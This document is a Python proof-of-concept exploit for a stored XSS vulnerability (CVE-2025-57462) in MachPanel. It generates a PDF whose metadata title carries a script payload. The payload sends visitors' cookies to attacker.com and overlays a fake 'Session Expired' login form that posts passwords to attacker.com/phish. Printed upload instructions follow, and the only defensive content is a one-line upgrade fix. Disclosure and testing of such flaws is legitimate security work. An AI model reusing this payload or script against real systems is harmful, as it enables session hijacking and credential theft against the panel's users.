CVE-2025-57462 MachPanel 存储型XSS漏洞

#!/usr/bin/env python3 """ CVE-2025-57462 PoC - MachPanel Stored XSS via Malicious PDF Note: This is a proof-of-concept for educational and security testing purposes only. """ import sys def create_malicious_pdf(): """ Create a malicious PDF file with embedded JavaScript for XSS attack. This PoC demonstrates how an attacker could inject malicious scripts into PDF files that would be executed when viewed in MachPanel. """ # Malicious JavaScript payload for XSS xss_payload = '''<script> // Cookie stealing payload document.write('<img src="http://attacker.com/log?cookie=' + document.cookie + '"/>'); // Session hijacking example console.log('Stolen cookies: ' + document.cookie); // DOM manipulation to display fake content document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/phish">Enter credentials: <input name="pwd"/></form>'; </script>''' # Basic PDF structure with XSS payload in metadata pdf_content = f'''%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << >> >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (MDF Viewer - MachPanel) Tj ET endstream endobj 5 0 obj << /Type /Metadata /Length 500 >> stream <?xml version="1.0"?> <x:xmpmeta xmlns:x="adobe:ns:meta/"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/"> <dc:title>{xss_payload}</dc:title> <dc:creator>Attacker</dc:creator> </rdf:Description> </rdf:RDF> </x:xmpmeta> endstream endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000266 00000 n 0000000320 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 900 %%EOF''' return pdf_content def main(): print("="*60) print("CVE-2025-57462 PoC - MachPanel Stored XSS") print("="*60) print("\n[!] This PoC is for educational purposes only.") print("[!] Unauthorized access to systems is illegal.") print("\n[+] Creating malicious PDF file...") malicious_pdf = create_malicious_pdf() filename = "malicious_document.pdf" with open(filename, 'w') as f: f.write(malicious_pdf) print(f"[+] Malicious PDF created: {filename}") print("\n[+] Attack Vector:") print(" 1. Upload the malicious PDF to MachPanel 8.0.32") print(" 2. When users view the PDF, XSS payload executes") print(" 3. Attacker can steal cookies, session tokens, etc.") print("\n[+] Recommended Fix: Upgrade to MachPanel latest version") return 0 if __name__ == "__main__": sys.exit(main())